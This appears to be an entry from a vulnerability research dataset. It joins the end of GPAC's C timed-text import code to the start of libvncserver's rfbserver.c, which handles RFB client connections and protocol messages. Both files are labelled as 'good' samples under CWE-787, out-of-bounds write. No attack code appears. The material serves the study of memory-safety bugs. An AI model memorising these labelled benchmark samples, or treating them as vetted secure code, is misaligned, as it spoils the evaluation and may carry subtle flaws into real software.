&z))) { if (!strcmp(att->name, "id")) marks[nb_marks].id = atoi(att->value); } nb_marks++; } } else if (text->type==GF_XML_TEXT_TYPE) { txt_len += (u32) strlen(text->name); gf_isom_text_add_text(samp, text->name, (u32) strlen(text->name)); } } if (styleID && (!same_style || (td.default_style.startCharOffset != styleID))) { GF_StyleRecord st = td.default_style; for (m=0; m<nb_styles; m++) { if (styles[m].startCharOffset==styleID) { st = styles[m]; break; } } st.startCharOffset = nb_chars; st.endCharOffset = nb_chars + txt_len; gf_isom_text_add_style(samp, &st); } nb_chars += txt_len; } else if (!stricmp(sub->name, "highlight")) { m=0; while ((att=(GF_XMLAttribute *)gf_list_enum(sub->attributes, &m))) { if (!strcmp(att->name, "startMarker")) GET_MARKER_POS(start, 0) else if (!strcmp(att->name, "endMarker")) GET_MARKER_POS(end, 1) } gf_isom_text_add_highlight(samp, start, end); } else if (!stricmp(sub->name, "blink")) { m=0; while ((att=(GF_XMLAttribute *)gf_list_enum(sub->attributes, &m))) { if (!strcmp(att->name, "startMarker")) GET_MARKER_POS(start, 0) else if (!strcmp(att->name, "endMarker")) GET_MARKER_POS(end, 1) } gf_isom_text_add_blink(samp, start, end); } else if (!stricmp(sub->name, "link")) { char *url, *url_tt; url = url_tt = NULL; m=0; while ((att=(GF_XMLAttribute *)gf_list_enum(sub->attributes, &m))) { if (!strcmp(att->name, "startMarker")) GET_MARKER_POS(start, 0) else if (!strcmp(att->name, "endMarker")) GET_MARKER_POS(end, 1) else if (!strcmp(att->name, "URL") || !strcmp(att->name, "href")) url = gf_strdup(att->value); else if (!strcmp(att->name, "URLToolTip") || !strcmp(att->name, "altString")) url_tt = gf_strdup(att->value); } gf_isom_text_add_hyperlink(samp, url, url_tt, start, end); if (url) gf_free(url); if (url_tt) gf_free(url_tt); } else if (!stricmp(sub->name, "karaoke")) { u32 time = 0; GF_XMLNode *krok; m=0; while ((att=(GF_XMLAttribute *)gf_list_enum(sub->attributes, &m))) { if (!strcmp(att->name, "startTime")) time = atoi(att->value); } gf_isom_text_add_karaoke(samp, time); m=0; while ((krok=(GF_XMLNode*)gf_list_enum(sub->content, &m))) { u32 u=0; if (krok->type) continue; if (strcmp(krok->name, "run")) continue; start = end = 0; while ((att=(GF_XMLAttribute *)gf_list_enum(krok->attributes, &u))) { if (!strcmp(att->name, "startMarker")) GET_MARKER_POS(start, 0) else if (!strcmp(att->name, "endMarker")) GET_MARKER_POS(end, 1) else if (!strcmp(att->name, "duration")) time += atoi(att->value); } gf_isom_text_set_karaoke_segment(samp, time, start, end); } } } } } /*OK, let's add the sample*/ if (samp) { if (!same_box) gf_isom_text_set_box(samp, td.default_pos.top, td.default_pos.left, td.default_pos.bottom, td.default_pos.right); // if (!same_style) gf_isom_text_add_style(samp, &td.default_style); s = gf_isom_text_to_sample(samp); gf_isom_delete_text_sample(samp); s->IsRAP = isRAP ? RAP : RAP_NO; s->DTS = DTS; gf_isom_add_sample(import->dest, track, descIndex, s); gf_isom_sample_del(&s); nb_samples++; DTS += duration; gf_set_progress("Importing TeXML", nb_samples, nb_children); if (import->duration && (DTS*1000> timescale*import->duration)) break; } } gf_isom_set_last_sample_duration(import->dest, track, 0); gf_set_progress("Importing TeXML", nb_samples, nb_samples); exit: gf_xml_dom_del(parser); return e; } GF_Err gf_import_timed_text(GF_MediaImporter *import) { GF_Err e; u32 fmt; e = gf_text_guess_format(import->in_name, &fmt); if (e) return e; if (import->streamFormat) { if (!strcmp(import->streamFormat, "VTT")) fmt = GF_TEXT_IMPORT_WEBVTT; else if (!strcmp(import->streamFormat, "TTML")) fmt = GF_TEXT_IMPORT_TTML; if ((strstr(import->in_name, ".swf") || strstr(import->in_name, ".SWF")) && !stricmp(import->streamFormat, "SVG")) fmt = GF_TEXT_IMPORT_SWF_SVG; } if (!fmt) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTXT Import] Input %s does not look like a supported text format - ignoring\n", import->in_name)); return GF_NOT_SUPPORTED; } if (import->flags & GF_IMPORT_PROBE_ONLY) { if (fmt==GF_TEXT_IMPORT_SUB) import->flags |= GF_IMPORT_OVERRIDE_FPS; return GF_OK; } switch (fmt) { case GF_TEXT_IMPORT_SRT: return gf_text_import_srt(import); case GF_TEXT_IMPORT_SUB: return gf_text_import_sub(import); case GF_TEXT_IMPORT_TTXT: return gf_text_import_ttxt(import); case GF_TEXT_IMPORT_TEXML: return gf_text_import_texml(import); #ifndef GPAC_DISABLE_VTT case GF_TEXT_IMPORT_WEBVTT: return gf_text_import_webvtt(import); #endif case GF_TEXT_IMPORT_SWF_SVG: return gf_text_import_swf(import); case GF_TEXT_IMPORT_TTML: return gf_text_import_ttml(import); default: return GF_BAD_PARAM; } } #endif /*GPAC_DISABLE_MEDIA_IMPORT*/ #endif /*GPAC_DISABLE_ISOM_WRITE*/
./CrossVul/dataset_final_sorted/CWE-787/c/good_524_0
crossvul-cpp_data_good_523_0
/* * rfbserver.c - deal with server-side of the RFB protocol. */ /* * Copyright (C) 2011-2012 D. R. Commander * Copyright (C) 2005 Rohit Kumar, Johannes E. Schindelin * Copyright (C) 2002 RealVNC Ltd. * OSXvnc Copyright (C) 2001 Dan McGuirk <mcguirk@incompleteness.net>. * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #define _POSIX_SOURCE #define _XOPEN_SOURCE 600 #endif #include <stdio.h> #include <string.h> #include <rfb/rfb.h> #include <rfb/rfbregion.h> #include "private.h" #include "rfb/rfbconfig.h" #ifdef LIBVNCSERVER_HAVE_FCNTL_H #include <fcntl.h> #endif #ifdef WIN32 #include <winsock2.h> #include <ws2tcpip.h> #include <io.h> #define write(sock,buf,len) send(sock,buf,len,0) #else #ifdef LIBVNCSERVER_HAVE_UNISTD_H #include <unistd.h> #endif #include <pwd.h> #ifdef LIBVNCSERVER_HAVE_SYS_SOCKET_H #include <sys/socket.h> #endif #ifdef LIBVNCSERVER_HAVE_NETINET_IN_H #include <netinet/in.h> #include <netinet/tcp.h> #include <netdb.h> #include <arpa/inet.h> #endif #endif #ifdef DEBUGPROTO #undef DEBUGPROTO #define DEBUGPROTO(x) x #else #define DEBUGPROTO(x) #endif #include <stdarg.h> #include <scale.h> /* stst() */ #include <sys/types.h> #include <sys/stat.h> #if LIBVNCSERVER_HAVE_UNISTD_H #include <unistd.h> #endif #ifndef WIN32 /* readdir() */ #include <dirent.h> #endif /* errno */ #include <errno.h> /* strftime() */ #include <time.h> /* INT_MAX */ #include <limits.h> #ifdef LIBVNCSERVER_WITH_WEBSOCKETS #include "rfbssl.h" #endif #ifdef _MSC_VER #define snprintf _snprintf /* Missing in MSVC */ /* Prevent POSIX deprecation warnings */ #define close _close #define strdup _strdup #endif #ifdef WIN32 #include <direct.h> #ifdef __MINGW32__ #define mkdir(path, perms) mkdir(path) /* Omit the perms argument to match POSIX signature */ #else /* MSVC and other windows compilers */ #define mkdir(path, perms) _mkdir(path) /* Omit the perms argument to match POSIX signature */ #endif /* __MINGW32__ else... */ #ifndef S_ISDIR #define S_ISDIR(m) (((m) & S_IFDIR) == S_IFDIR) #endif #endif #ifdef LIBVNCSERVER_HAVE_LIBJPEG /* * Map of quality levels to provide compatibility with TightVNC/TigerVNC * clients. This emulates the behavior of the TigerVNC Server. */ static const int tight2turbo_qual[10] = { 15, 29, 41, 42, 62, 77, 79, 86, 92, 100 }; static const int tight2turbo_subsamp[10] = { 1, 1, 1, 2, 2, 2, 0, 0, 0, 0 }; #endif static void rfbProcessClientProtocolVersion(rfbClientPtr cl); static void rfbProcessClientNormalMessage(rfbClientPtr cl); static void rfbProcessClientInitMessage(rfbClientPtr cl); #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD void rfbIncrClientRef(rfbClientPtr cl) { LOCK(cl->refCountMutex); cl->refCount++; UNLOCK(cl->refCountMutex); } void rfbDecrClientRef(rfbClientPtr cl) { LOCK(cl->refCountMutex); cl->refCount--; if(cl->refCount<=0) /* just to be sure also < 0 */ TSIGNAL(cl->deleteCond); UNLOCK(cl->refCountMutex); } #else void rfbIncrClientRef(rfbClientPtr cl) {} void rfbDecrClientRef(rfbClientPtr cl) {} #endif #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD static MUTEX(rfbClientListMutex); #endif struct rfbClientIterator { rfbClientPtr next; rfbScreenInfoPtr screen; rfbBool closedToo; }; void rfbClientListInit(rfbScreenInfoPtr rfbScreen) { if(sizeof(rfbBool)!=1) { /* a sanity check */ fprintf(stderr,"rfbBool's size is not 1 (%d)!\n",(int)sizeof(rfbBool)); /* we cannot continue, because rfbBool is supposed to be char everywhere */ exit(1); } rfbScreen->clientHead = NULL; INIT_MUTEX(rfbClientListMutex); } rfbClientIteratorPtr rfbGetClientIterator(rfbScreenInfoPtr rfbScreen) { rfbClientIteratorPtr i = (rfbClientIteratorPtr)malloc(sizeof(struct rfbClientIterator)); i->next = NULL; i->screen = rfbScreen; i->closedToo = FALSE; return i; } rfbClientIteratorPtr rfbGetClientIteratorWithClosed(rfbScreenInfoPtr rfbScreen) { rfbClientIteratorPtr i = (rfbClientIteratorPtr)malloc(sizeof(struct rfbClientIterator)); i->next = NULL; i->screen = rfbScreen; i->closedToo = TRUE; return i; } rfbClientPtr rfbClientIteratorHead(rfbClientIteratorPtr i) { #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD if(i->next != 0) { rfbDecrClientRef(i->next); rfbIncrClientRef(i->screen->clientHead); } #endif LOCK(rfbClientListMutex); i->next = i->screen->clientHead; UNLOCK(rfbClientListMutex); return i->next; } rfbClientPtr rfbClientIteratorNext(rfbClientIteratorPtr i) { if(i->next == 0) { LOCK(rfbClientListMutex); i->next = i->screen->clientHead; UNLOCK(rfbClientListMutex); } else { IF_PTHREADS(rfbClientPtr cl = i->next); i->next = i->next->next; IF_PTHREADS(rfbDecrClientRef(cl)); } #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD if(!i->closedToo) while(i->next && i->next->sock<0) i->next = i->next->next; if(i->next) rfbIncrClientRef(i->next); #endif return i->next; } void rfbReleaseClientIterator(rfbClientIteratorPtr iterator) { IF_PTHREADS(if(iterator->next) rfbDecrClientRef(iterator->next)); free(iterator); } /* * rfbNewClientConnection is called from sockets.c when a new connection * comes in. */ void rfbNewClientConnection(rfbScreenInfoPtr rfbScreen, int sock) { rfbNewClient(rfbScreen,sock); } /* * rfbReverseConnection is called to make an outward * connection to a "listening" RFB client. */ rfbClientPtr rfbReverseConnection(rfbScreenInfoPtr rfbScreen, char *host, int port) { int sock; rfbClientPtr cl; if ((sock = rfbConnect(rfbScreen, host, port)) < 0) return (rfbClientPtr)NULL; cl = rfbNewClient(rfbScreen, sock); if (cl) { cl->reverseConnection = TRUE; } return cl; } void rfbSetProtocolVersion(rfbScreenInfoPtr rfbScreen, int major_, int minor_) { /* Permit the server to set the version to report */ /* TODO: sanity checking */ if ((major_==3) && (minor_ > 2 && minor_ < 9)) { rfbScreen->protocolMajorVersion = major_; rfbScreen->protocolMinorVersion = minor_; } else rfbLog("rfbSetProtocolVersion(%d,%d) set to invalid values\n", major_, minor_); } /* * rfbNewClient is called when a new connection has been made by whatever * means. */ static rfbClientPtr rfbNewTCPOrUDPClient(rfbScreenInfoPtr rfbScreen, int sock, rfbBool isUDP) { rfbProtocolVersionMsg pv; rfbClientIteratorPtr iterator; rfbClientPtr cl,cl_; #ifdef LIBVNCSERVER_IPv6 struct sockaddr_storage addr; #else struct sockaddr_in addr; #endif socklen_t addrlen = sizeof(addr); rfbProtocolExtension* extension; cl = (rfbClientPtr)calloc(sizeof(rfbClientRec),1); cl->screen = rfbScreen; cl->sock = sock; cl->viewOnly = FALSE; /* setup pseudo scaling */ cl->scaledScreen = rfbScreen; cl->scaledScreen->scaledScreenRefCount++; rfbResetStats(cl); cl->clientData = NULL; cl->clientGoneHook = rfbDoNothingWithClient; if(isUDP) { rfbLog(" accepted UDP client\n"); } else { #ifdef LIBVNCSERVER_IPv6 char host[1024]; #endif int one=1; getpeername(sock, (struct sockaddr *)&addr, &addrlen); #ifdef LIBVNCSERVER_IPv6 if(getnameinfo((struct sockaddr*)&addr, addrlen, host, sizeof(host), NULL, 0, NI_NUMERICHOST) != 0) { rfbLogPerror("rfbNewClient: error in getnameinfo"); cl->host = strdup(""); } else cl->host = strdup(host); #else cl->host = strdup(inet_ntoa(addr.sin_addr)); #endif rfbLog(" other clients:\n"); iterator = rfbGetClientIterator(rfbScreen); while ((cl_ = rfbClientIteratorNext(iterator)) != NULL) { rfbLog(" %s\n",cl_->host); } rfbReleaseClientIterator(iterator); if(!rfbSetNonBlocking(sock)) { close(sock); return NULL; } if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) { rfbLogPerror("setsockopt failed: can't set TCP_NODELAY flag, non TCP socket?"); } FD_SET(sock,&(rfbScreen->allFds)); rfbScreen->maxFd = rfbMax(sock,rfbScreen->maxFd); INIT_MUTEX(cl->outputMutex); INIT_MUTEX(cl->refCountMutex); INIT_MUTEX(cl->sendMutex); INIT_COND(cl->deleteCond); cl->state = RFB_PROTOCOL_VERSION; cl->reverseConnection = FALSE; cl->readyForSetColourMapEntries = FALSE; cl->useCopyRect = FALSE; cl->preferredEncoding = -1; cl->correMaxWidth = 48; cl->correMaxHeight = 48; #ifdef LIBVNCSERVER_HAVE_LIBZ cl->zrleData = NULL; #endif cl->copyRegion = sraRgnCreate(); cl->copyDX = 0; cl->copyDY = 0; cl->modifiedRegion = sraRgnCreateRect(0,0,rfbScreen->width,rfbScreen->height); INIT_MUTEX(cl->updateMutex); INIT_COND(cl->updateCond); cl->requestedRegion = sraRgnCreate(); cl->format = cl->screen->serverFormat; cl->translateFn = rfbTranslateNone; cl->translateLookupTable = NULL; LOCK(rfbClientListMutex); IF_PTHREADS(cl->refCount = 0); cl->next = rfbScreen->clientHead; cl->prev = NULL; if (rfbScreen->clientHead) rfbScreen->clientHead->prev = cl; rfbScreen->clientHead = cl; UNLOCK(rfbClientListMutex); #if defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG) cl->tightQualityLevel = -1; #ifdef LIBVNCSERVER_HAVE_LIBJPEG cl->tightCompressLevel = TIGHT_DEFAULT_COMPRESSION; cl->turboSubsampLevel = TURBO_DEFAULT_SUBSAMP; { int i; for (i = 0; i < 4; i++) cl->zsActive[i] = FALSE; } #endif #endif cl->fileTransfer.fd = -1; cl->enableCursorShapeUpdates = FALSE; cl->enableCursorPosUpdates = FALSE; cl->useRichCursorEncoding = FALSE; cl->enableLastRectEncoding = FALSE; cl->enableKeyboardLedState = FALSE; cl->enableSupportedMessages = FALSE; cl->enableSupportedEncodings = FALSE; cl->enableServerIdentity = FALSE; cl->lastKeyboardLedState = -1; cl->cursorX = rfbScreen->cursorX; cl->cursorY = rfbScreen->cursorY; cl->useNewFBSize = FALSE; #ifdef LIBVNCSERVER_HAVE_LIBZ cl->compStreamInited = FALSE; cl->compStream.total_in = 0; cl->compStream.total_out = 0; cl->compStream.zalloc = Z_NULL; cl->compStream.zfree = Z_NULL; cl->compStream.opaque = Z_NULL; cl->zlibCompressLevel = 5; #endif cl->progressiveSliceY = 0; cl->extensions = NULL; cl->lastPtrX = -1; #ifdef LIBVNCSERVER_WITH_WEBSOCKETS /* * Wait a few ms for the client to send WebSockets connection (TLS/SSL or plain) */ if (!webSocketsCheck(cl)) { /* Error reporting handled in webSocketsHandshake */ rfbCloseClient(cl); rfbClientConnectionGone(cl); return NULL; } #endif sprintf(pv,rfbProtocolVersionFormat,rfbScreen->protocolMajorVersion, rfbScreen->protocolMinorVersion); if (rfbWriteExact(cl, pv, sz_rfbProtocolVersionMsg) < 0) { rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); return NULL; } } for(extension = rfbGetExtensionIterator(); extension; extension=extension->next) { void* data = NULL; /* if the extension does not have a newClient method, it wants * to be initialized later. */ if(extension->newClient && extension->newClient(cl, &data)) rfbEnableExtension(cl, extension, data); } rfbReleaseExtensionIterator(); switch (cl->screen->newClientHook(cl)) { case RFB_CLIENT_ON_HOLD: cl->onHold = TRUE; break; case RFB_CLIENT_ACCEPT: cl->onHold = FALSE; break; case RFB_CLIENT_REFUSE: rfbCloseClient(cl); rfbClientConnectionGone(cl); cl = NULL; break; } return cl; } rfbClientPtr rfbNewClient(rfbScreenInfoPtr rfbScreen, int sock) { return(rfbNewTCPOrUDPClient(rfbScreen,sock,FALSE)); } rfbClientPtr rfbNewUDPClient(rfbScreenInfoPtr rfbScreen) { return((rfbScreen->udpClient= rfbNewTCPOrUDPClient(rfbScreen,rfbScreen->udpSock,TRUE))); } /* * rfbClientConnectionGone is called from sockets.c just after a connection * has gone away. */ void rfbClientConnectionGone(rfbClientPtr cl) { #if defined(LIBVNCSERVER_HAVE_LIBZ) && defined(LIBVNCSERVER_HAVE_LIBJPEG) int i; #endif LOCK(rfbClientListMutex); if (cl->prev) cl->prev->next = cl->next; else cl->screen->clientHead = cl->next; if (cl->next) cl->next->prev = cl->prev; UNLOCK(rfbClientListMutex); #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD if(cl->screen->backgroundLoop != FALSE) { int i; do { LOCK(cl->refCountMutex); i=cl->refCount; if(i>0) WAIT(cl->deleteCond,cl->refCountMutex); UNLOCK(cl->refCountMutex); } while(i>0); } #endif if(cl->sock>=0) close(cl->sock); if (cl->scaledScreen!=NULL) cl->scaledScreen->scaledScreenRefCount--; #ifdef LIBVNCSERVER_HAVE_LIBZ rfbFreeZrleData(cl); #endif rfbFreeUltraData(cl); /* free buffers holding pixel data before and after encoding */ free(cl->beforeEncBuf); free(cl->afterEncBuf); if(cl->sock>=0) FD_CLR(cl->sock,&(cl->screen->allFds)); cl->clientGoneHook(cl); rfbLog("Client %s gone\n",cl->host); free(cl->host); #ifdef LIBVNCSERVER_HAVE_LIBZ /* Release the compression state structures if any. */ if ( cl->compStreamInited ) { deflateEnd( &(cl->compStream) ); } #ifdef LIBVNCSERVER_HAVE_LIBJPEG for (i = 0; i < 4; i++) { if (cl->zsActive[i]) deflateEnd(&cl->zsStruct[i]); } #endif #endif if (cl->screen->pointerClient == cl) cl->screen->pointerClient = NULL; sraRgnDestroy(cl->modifiedRegion); sraRgnDestroy(cl->requestedRegion); sraRgnDestroy(cl->copyRegion); if (cl->translateLookupTable) free(cl->translateLookupTable); TINI_COND(cl->updateCond); TINI_MUTEX(cl->updateMutex); /* make sure outputMutex is unlocked before destroying */ LOCK(cl->outputMutex); UNLOCK(cl->outputMutex); TINI_MUTEX(cl->outputMutex); LOCK(cl->sendMutex); UNLOCK(cl->sendMutex); TINI_MUTEX(cl->sendMutex); #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD close(cl->pipe_notify_client_thread[0]); close(cl->pipe_notify_client_thread[1]); #endif rfbPrintStats(cl); rfbResetStats(cl); free(cl); } /* * rfbProcessClientMessage is called when there is data to read from a client. */ void rfbProcessClientMessage(rfbClientPtr cl) { switch (cl->state) { case RFB_PROTOCOL_VERSION: rfbProcessClientProtocolVersion(cl); return; case RFB_SECURITY_TYPE: rfbProcessClientSecurityType(cl); return; case RFB_AUTHENTICATION: rfbAuthProcessClientMessage(cl); return; case RFB_INITIALISATION: case RFB_INITIALISATION_SHARED: rfbProcessClientInitMessage(cl); return; default: rfbProcessClientNormalMessage(cl); return; } } /* * rfbProcessClientProtocolVersion is called when the client sends its * protocol version. */ static void rfbProcessClientProtocolVersion(rfbClientPtr cl) { rfbProtocolVersionMsg pv; int n, major_, minor_; if ((n = rfbReadExact(cl, pv, sz_rfbProtocolVersionMsg)) <= 0) { if (n == 0) rfbLog("rfbProcessClientProtocolVersion: client gone\n"); else rfbLogPerror("rfbProcessClientProtocolVersion: read"); rfbCloseClient(cl); return; } pv[sz_rfbProtocolVersionMsg] = 0; if (sscanf(pv,rfbProtocolVersionFormat,&major_,&minor_) != 2) { rfbErr("rfbProcessClientProtocolVersion: not a valid RFB client: %s\n", pv); rfbCloseClient(cl); return; } rfbLog("Client Protocol Version %d.%d\n", major_, minor_); if (major_ != rfbProtocolMajorVersion) { rfbErr("RFB protocol version mismatch - server %d.%d, client %d.%d", cl->screen->protocolMajorVersion, cl->screen->protocolMinorVersion, major_,minor_); rfbCloseClient(cl); return; } /* Check for the minor version use either of the two standard version of RFB */ /* * UltraVNC Viewer detects FileTransfer compatible servers via rfb versions * 3.4, 3.6, 3.14, 3.16 * It's a bad method, but it is what they use to enable features... * maintaining RFB version compatibility across multiple servers is a pain * Should use something like ServerIdentity encoding */ cl->protocolMajorVersion = major_; cl->protocolMinorVersion = minor_; rfbLog("Protocol version sent %d.%d, using %d.%d\n", major_, minor_, rfbProtocolMajorVersion, cl->protocolMinorVersion); rfbAuthNewClient(cl); } void rfbClientSendString(rfbClientPtr cl, const char *reason) { char *buf; int len = strlen(reason); rfbLog("rfbClientSendString(\"%s\")\n", reason); buf = (char *)malloc(4 + len); ((uint32_t *)buf)[0] = Swap32IfLE(len); memcpy(buf + 4, reason, len); if (rfbWriteExact(cl, buf, 4 + len) < 0) rfbLogPerror("rfbClientSendString: write"); free(buf); rfbCloseClient(cl); } /* * rfbClientConnFailed is called when a client connection has failed either * because it talks the wrong protocol or it has failed authentication. */ void rfbClientConnFailed(rfbClientPtr cl, const char *reason) { char *buf; int len = strlen(reason); rfbLog("rfbClientConnFailed(\"%s\")\n", reason); buf = (char *)malloc(8 + len); ((uint32_t *)buf)[0] = Swap32IfLE(rfbConnFailed); ((uint32_t *)buf)[1] = Swap32IfLE(len); memcpy(buf + 8, reason, len); if (rfbWriteExact(cl, buf, 8 + len) < 0) rfbLogPerror("rfbClientConnFailed: write"); free(buf); rfbCloseClient(cl); } /* * rfbProcessClientInitMessage is called when the client sends its * initialisation message. */ static void rfbProcessClientInitMessage(rfbClientPtr cl) { rfbClientInitMsg ci; union { char buf[256]; rfbServerInitMsg si; } u; int len, n; rfbClientIteratorPtr iterator; rfbClientPtr otherCl; rfbExtensionData* extension; if (cl->state == RFB_INITIALISATION_SHARED) { /* In this case behave as though an implicit ClientInit message has * already been received with a shared-flag of true. */ ci.shared = 1; /* Avoid the possibility of exposing the RFB_INITIALISATION_SHARED * state to calling software. */ cl->state = RFB_INITIALISATION; } else { if ((n = rfbReadExact(cl, (char *)&ci,sz_rfbClientInitMsg)) <= 0) { if (n == 0) rfbLog("rfbProcessClientInitMessage: client gone\n"); else rfbLogPerror("rfbProcessClientInitMessage: read"); rfbCloseClient(cl); return; } } memset(u.buf,0,sizeof(u.buf)); u.si.framebufferWidth = Swap16IfLE(cl->screen->width); u.si.framebufferHeight = Swap16IfLE(cl->screen->height); u.si.format = cl->screen->serverFormat; u.si.format.redMax = Swap16IfLE(u.si.format.redMax); u.si.format.greenMax = Swap16IfLE(u.si.format.greenMax); u.si.format.blueMax = Swap16IfLE(u.si.format.blueMax); strncpy(u.buf + sz_rfbServerInitMsg, cl->screen->desktopName, 127); len = strlen(u.buf + sz_rfbServerInitMsg); u.si.nameLength = Swap32IfLE(len); if (rfbWriteExact(cl, u.buf, sz_rfbServerInitMsg + len) < 0) { rfbLogPerror("rfbProcessClientInitMessage: write"); rfbCloseClient(cl); return; } for(extension = cl->extensions; extension;) { rfbExtensionData* next = extension->next; if(extension->extension->init && !extension->extension->init(cl, extension->data)) /* extension requested that it be removed */ rfbDisableExtension(cl, extension->extension); extension = next; } cl->state = RFB_NORMAL; if (!cl->reverseConnection && (cl->screen->neverShared || (!cl->screen->alwaysShared && !ci.shared))) { if (cl->screen->dontDisconnect) { iterator = rfbGetClientIterator(cl->screen); while ((otherCl = rfbClientIteratorNext(iterator)) != NULL) { if ((otherCl != cl) && (otherCl->state == RFB_NORMAL)) { rfbLog("-dontdisconnect: Not shared & existing client\n"); rfbLog(" refusing new client %s\n", cl->host); rfbCloseClient(cl); rfbReleaseClientIterator(iterator); return; } } rfbReleaseClientIterator(iterator); } else { iterator = rfbGetClientIterator(cl->screen); while ((otherCl = rfbClientIteratorNext(iterator)) != NULL) { if ((otherCl != cl) && (otherCl->state == RFB_NORMAL)) { rfbLog("Not shared - closing connection to client %s\n", otherCl->host); rfbCloseClient(otherCl); } } rfbReleaseClientIterator(iterator); } } } /* The values come in based on the scaled screen, we need to convert them to * values based on the man screen's coordinate system */ static rfbBool rectSwapIfLEAndClip(uint16_t* x,uint16_t* y,uint16_t* w,uint16_t* h, rfbClientPtr cl) { int x1=Swap16IfLE(*x); int y1=Swap16IfLE(*y); int w1=Swap16IfLE(*w); int h1=Swap16IfLE(*h); rfbScaledCorrection(cl->scaledScreen, cl->screen, &x1, &y1, &w1, &h1, "rectSwapIfLEAndClip"); *x = x1; *y = y1; *w = w1; *h = h1; if(*w>cl->screen->width-*x) *w=cl->screen->width-*x; /* possible underflow */ if(*w>cl->screen->width-*x) return FALSE; if(*h>cl->screen->height-*y) *h=cl->screen->height-*y; if(*h>cl->screen->height-*y) return FALSE; return TRUE; } /* * Send keyboard state (PointerPos pseudo-encoding). */ rfbBool rfbSendKeyboardLedState(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingKeyboardLedState); rect.r.x = Swap16IfLE(cl->lastKeyboardLedState); rect.r.y = 0; rect.r.w = 0; rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingKeyboardLedState, sz_rfbFramebufferUpdateRectHeader, sz_rfbFramebufferUpdateRectHeader); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } #define rfbSetBit(buffer, position) (buffer[(position & 255) / 8] |= (1 << (position % 8))) /* * Send rfbEncodingSupportedMessages. */ rfbBool rfbSendSupportedMessages(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; rfbSupportedMessages msgs; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + sz_rfbSupportedMessages > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingSupportedMessages); rect.r.x = 0; rect.r.y = 0; rect.r.w = Swap16IfLE(sz_rfbSupportedMessages); rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; memset((char *)&msgs, 0, sz_rfbSupportedMessages); rfbSetBit(msgs.client2server, rfbSetPixelFormat); rfbSetBit(msgs.client2server, rfbFixColourMapEntries); rfbSetBit(msgs.client2server, rfbSetEncodings); rfbSetBit(msgs.client2server, rfbFramebufferUpdateRequest); rfbSetBit(msgs.client2server, rfbKeyEvent); rfbSetBit(msgs.client2server, rfbPointerEvent); rfbSetBit(msgs.client2server, rfbClientCutText); rfbSetBit(msgs.client2server, rfbFileTransfer); rfbSetBit(msgs.client2server, rfbSetScale); /*rfbSetBit(msgs.client2server, rfbSetServerInput); */ /*rfbSetBit(msgs.client2server, rfbSetSW); */ /*rfbSetBit(msgs.client2server, rfbTextChat); */ rfbSetBit(msgs.client2server, rfbPalmVNCSetScaleFactor); rfbSetBit(msgs.server2client, rfbFramebufferUpdate); rfbSetBit(msgs.server2client, rfbSetColourMapEntries); rfbSetBit(msgs.server2client, rfbBell); rfbSetBit(msgs.server2client, rfbServerCutText); rfbSetBit(msgs.server2client, rfbResizeFrameBuffer); rfbSetBit(msgs.server2client, rfbPalmVNCReSizeFrameBuffer); if (cl->screen->xvpHook) { rfbSetBit(msgs.client2server, rfbXvp); rfbSetBit(msgs.server2client, rfbXvp); } memcpy(&cl->updateBuf[cl->ublen], (char *)&msgs, sz_rfbSupportedMessages); cl->ublen += sz_rfbSupportedMessages; rfbStatRecordEncodingSent(cl, rfbEncodingSupportedMessages, sz_rfbFramebufferUpdateRectHeader+sz_rfbSupportedMessages, sz_rfbFramebufferUpdateRectHeader+sz_rfbSupportedMessages); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } /* * Send rfbEncodingSupportedEncodings. */ rfbBool rfbSendSupportedEncodings(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; static uint32_t supported[] = { rfbEncodingRaw, rfbEncodingCopyRect, rfbEncodingRRE, rfbEncodingCoRRE, rfbEncodingHextile, #ifdef LIBVNCSERVER_HAVE_LIBZ rfbEncodingZlib, rfbEncodingZRLE, rfbEncodingZYWRLE, #endif #ifdef LIBVNCSERVER_HAVE_LIBJPEG rfbEncodingTight, #endif #ifdef LIBVNCSERVER_HAVE_LIBPNG rfbEncodingTightPng, #endif rfbEncodingUltra, rfbEncodingUltraZip, rfbEncodingXCursor, rfbEncodingRichCursor, rfbEncodingPointerPos, rfbEncodingLastRect, rfbEncodingNewFBSize, rfbEncodingKeyboardLedState, rfbEncodingSupportedMessages, rfbEncodingSupportedEncodings, rfbEncodingServerIdentity, }; uint32_t nEncodings = 